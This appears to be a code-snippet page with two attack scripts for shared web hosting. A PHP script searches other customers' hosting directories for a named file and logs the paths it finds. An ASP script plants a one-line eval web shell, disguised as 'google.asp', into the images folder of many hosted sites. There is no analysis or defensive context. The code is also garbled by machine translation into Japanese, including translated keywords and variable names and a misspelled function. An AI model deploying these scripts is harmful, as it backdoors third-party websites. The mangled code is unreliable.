php 版
复制代码 代码如下:
set_time_limit(0);
$path = 'D:/ホスティング';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'ユーザーがキャンセルボタンを押した場合に送信するテキスト';
終了;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
続けます。
}
/*
if($filename{1} != $_GET['two'])
{
続行;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$ファイル名;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[ ]Found !'.$ファイル名2."n";
file_put_contents($logfile,'[ ]見つかりました!'.$path2.'/'.$filename2."n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."n",FILE_APPEND);
closedir($handle);
}
}
复制代码代码如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" & 「>」
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&""
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" then
StreamSaveToFile sServerFileEvery & "google.asp", msg, "UTF-8"
End If
Next
End If
次へ
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") sPath = Replace(sPath, "," , ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb .Stream")
oStream 付き
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>